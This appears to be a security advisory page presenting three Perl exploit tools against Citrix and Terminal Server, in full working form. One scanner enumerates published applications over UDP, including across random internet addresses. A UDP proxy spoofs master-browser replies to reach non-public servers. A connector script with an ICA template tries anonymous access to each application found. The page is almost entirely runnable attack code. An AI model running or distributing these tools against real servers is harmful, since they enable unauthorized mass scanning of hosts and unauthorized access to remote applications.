The following advisory contains three exploit codes for Citrix and Terminal Server, the exploit codes will allow you to enumerate Citrix published applications, and to connect to the published applications.
Credit:
A presentation given on the issue can be downloaded from:
http://www.cqure.net/itools01.html
The exploit codes have been provided by Jonas Ländin .
Citrix-pa-scan:
This tool should be used to enumerate Citrix published applications.
#!/usr/bin/perl
use Socket;
$SIG{ALRM}=sub { $connection=0; close(CON); };
$trick_master=
"\x20\x00\x01\x30\x02\xFD\xA8\xE3" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00"
;
$get_pa=
"\x2a\x00\x01\x32\x02\xfd" .
"\xa8\xe3\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x21\x00" .
"\x02\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00"
;
$|=1;
print "\nCitrix Published Application Scanner version 2.0\
By Ian Vitek, ian.vitek\@ixsecurity.com\n";
die "\nUsage: $0 {IP | file | - | random } [timeout]\
\tIP\tIP to test\
\tfile\tRead IPs from file\
\t-\tRead IPs from standard input\
\trandom\tRead IPs from /dev/urandom\
\ttimeout\tTimeout\
\n" if(!$ARGV[0]);
$input=$ARGV[0];
$timeout=$ARGV[1];
$timeout=1 if(!$timeout);
if($input eq "-" || -r $input) {
open(INPUTFD,"$input") or die "Cant open file $input: $!\n";
$newHost=2;
} elsif ($input eq "random") {
open(RANDOM,"/dev/urandom") or die "Cant open /dev/urandom: $!\n";
binmode(RANDOM);
$newHost=3;
} else {
$newHost=1;
}
$loop=1;
while($loop==1) {
undef $target;
if($newHost==2) {
$target=<INPUTFD> or exit;
chomp $target;
$target=~s/\s*(\S+)/$1/;
redo if(!$target);
} elsif ($newHost==1) {
$loop=0;
$target=$input;
} elsif ($newHost==3) {
undef @ch;
$i=0;
while($i<4) {
while($ch[$i] < 1 || $ch[$i] > 254) {
$ch[$i]=ord getc(RANDOM);
}
$i++;
}
$target=sprintf("%d.%d.%d.%d",$ch[0],$ch[1],$ch[2],$ch[3]);
} else {
die "Nothing to do? Check input!\n\n";
}
#
# Get Master Browser
#
$server=inet_aton($target) or die "Is \"${target}\" a target?\n\n";
$retry=0;
$connection=0;
while($retry++<2 and $connection==0) {
$connection=1;
socket(CON, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
send(CON, $trick_master, 0, sockaddr_in(1604, $server));
alarm $timeout;
$from_CON=recv(CON,$data,1500,0);
alarm 0;
}
close(CON);
if($connection==0) {
print "$target not responding\n";
next;
}
undef $master_raw;
undef $master;
($master_raw)=$data=~/.+\x02\x00\x06\x44(....)/s;
if($master_raw) {
$master=sprintf("%d.%d.%d.%d",ord substr($master_raw,0,1),ord substr($master_raw,1,1),ord substr($master_raw,2,1),ord substr($master_raw,3,1));
} else {
$master="ERROR";
}
print "$target|$master";
if($target eq $master) {
print "|1|";
} else {
print "|0|";
}
#
# Enumerate PA
#
$retry=0;
$connection=0;
while($retry++<2 and $connection==0) {
$connection=1;
socket(CON, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
send(CON, $get_pa, 0, sockaddr_in(1604, $server));
alarm $timeout;
undef $data;
$from_CON=recv(CON,$data,1500,0);
alarm 0;
}
if($connection==0) {
print "Connection lost\n";
next;
}
undef $pa;
$pa=substr($data,40);
chop $pa;
$pa=~s/\x00/\;/sg;
print "$pa";
#
# More packets?
#
$last_packet=ord substr($data,30,1);
while($last_packet==0) {
$connection=1;
alarm $timeout*2;
undef $data;
$from_CON=recv(CON,$data,1500,0);
alarm 0;
if($connection==0) {
print ",ERROR";
last;
}
undef $pa;
$pa=substr($data,39);
chop $pa;
$pa=~s/\x00/\;/sg;
print "$pa";
$last_packet=ord substr($data,30,1);
}
close(CON);
print "\n";
}
Citrix-pa-proxy:
This tool should be used to enumerate and connect to a published application with the Citrix client when the master browser is non-public.
#!/usr/bin/perl
use Socket;
die "\
* citrix-pa-proxy 2.0 by Ian.Vitek\@ixsecurity.com *\
usage: $0 IP_to_proxy_to [Local_ip]\
\
" if(@ARGV==0);
$timeout=2;
$server_ip=$ARGV[0];
$proxy_ip="127.0.0.1";
if($ARGV[1]) {
$proxy_ip=$ARGV[1];
$timeout=4;
}
$server=inet_aton($server_ip);
$proxy=inet_aton($proxy_ip);
$pa_connect=1;
while(1) {
close(CON1);
socket(CON1, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
bind(CON1, sockaddr_in(1604,INADDR_ANY));
$from_CON1=recv(CON1,$data1,1500,0);
($from_CON1_port,$from_CON1_ip)=sockaddr_in($from_CON1);
if(substr($data1,3,5) eq "\x32\x02\xfd\xa8\xe3" && $pa_connect) {
$pa_connect=0;
warn("- Hey! This is a PA enumerate session.\n");
warn("- Closing. Try to enumerate again.\n");
redo;
}
if($pa_connect) {
warn("PA connect from " . inet_ntoa($from_CON1_ip) . ":" . $from_CON1_port . "\n");
} else {
warn("PA enumerate from " . inet_ntoa($from_CON1_ip) . ":" . $from_CON1_port . "\n");
}
$connection=0;
$retry=0;
$SIG{ALRM}=sub { $connection=0; close(CON2); };
while($retry++<3 and $connection==0) {
socket(CON2, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
$connection=1;
alarm $timeout;
warn("Sending request to $server_ip:1604\n");
send(CON2, $data1, 0, sockaddr_in(1604,$server));
alarm 0;
}
if($connection==0) {
warn("No connection to $server_ip\n\n");
close(CON1);
next;
}
alarm $timeout;
$from_CON2=recv(CON2,$data2,1500,0);
alarm 0;
close(CON2);
if($connection==0) {
warn("No answer from $server_ip\n\n");
close(CON1);
next;
} else {
warn("Got answer from $server_ip\n");
}
if(substr($data2,0,1) eq "\x30" && $pa_connect) {
$data2=~s/\x02\x00\x06\x44(.)(.)(.)(.)/\x02\x00\x06\x44$proxy/sg;
$spoof=sprintf("%d.%d.%d.%d",ord $1,ord $2,ord $3,ord $4);
warn("- Changing $spoof to $proxy_ip\n");
} else {
$data2=~s/\x02\x00\x06\x44(.)(.)(.)(.)/\x02\x00\x06\x44$server/sg;
$spoof=sprintf("%d.%d.%d.%d",ord $1,ord $2,ord $3,ord $4);
$data2=~s/\x02\x00\x05\xd6..../\x02\x00\x05\xd6$server/sg if($pa_connect);
warn("- Changing $spoof to $server_ip\n");
$pa_connect=1;
}
warn("Proxying\n");
$SIG{ALRM}=sub { $connection=0; close(CON1); };
alarm $timeout;
send(CON1, "$data2", 0, $from_CON1);
alarm 0;
close(CON1);
if($connection==0) {
warn("No connection to client\n\n");
close(CON1);
next;
} else {
warn("Done\n\n");
}
}
Pas:
This tool should be used to connect to the applications reported by citrix-pa-scan.pl.
#!/usr/bin/perl
$|=1;
open(INDATA, "pas.wri") or die "Cant read data file: $!\n";
open(RESULT, ">pas_results.wri") or die "Cant create result file: $!\n";
while($line=<INDATA>) {
chomp $line;
next if( $line!~/^(\d+\.\d+\.\d+\.\d+)\|\d+\.\d+\.\d+\.\d+\|[01]\|(.+)/ );
$ip=$1;
@pa=split(';',$2);
foreach $test_pa (@pa) {
open(TEMPLATE,"template.ica") or die "Cant open template file: $!\n";
open(ICA,">ica.ica") or die "Cant create ica file; $!\n";
while($tline=<TEMPLATE>) {
$tline=~s/IPIPIP/$ip/;
$tline=~s/PAPAPA/$test_pa/;
print ICA $tline;
}
close(ICA);
system('ica.ica');
$result=0;
while($result < 1 || $result > 5) {
print "\nHow did the connect to $test_pa on $ip go?\n";
print "1: Wery well, anonymous login, but no desktop.\n";
print "2: Anonymous and vulnerable.\n";
print "3: Login required.\n";
print "4: Error. No connection or similar.\n";
print "\n";
print "5: Redo\n";
print "> ";
$result=<>;
chomp $result;
}
redo if($result==5);
print RESULT "$ip\|$test_pa|$result\n";
}
}
template.ica:
(Needed by pas.pl)
[WFClinet]
Version=2
ClientName=testClient
[ApplicationServers]
PAPAPA=
[PAPAPA]
Address=IPIPIP
InitialProgram=#PAPAPA
TransportDriver=TCP/IP
WinStationDriver=ICA 3.0
DesiredHRES=800
DesiredVRES=600
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by